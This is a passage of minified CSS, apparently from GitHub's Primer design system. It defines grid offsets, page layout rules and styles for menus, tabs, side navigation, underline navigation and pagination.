!important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 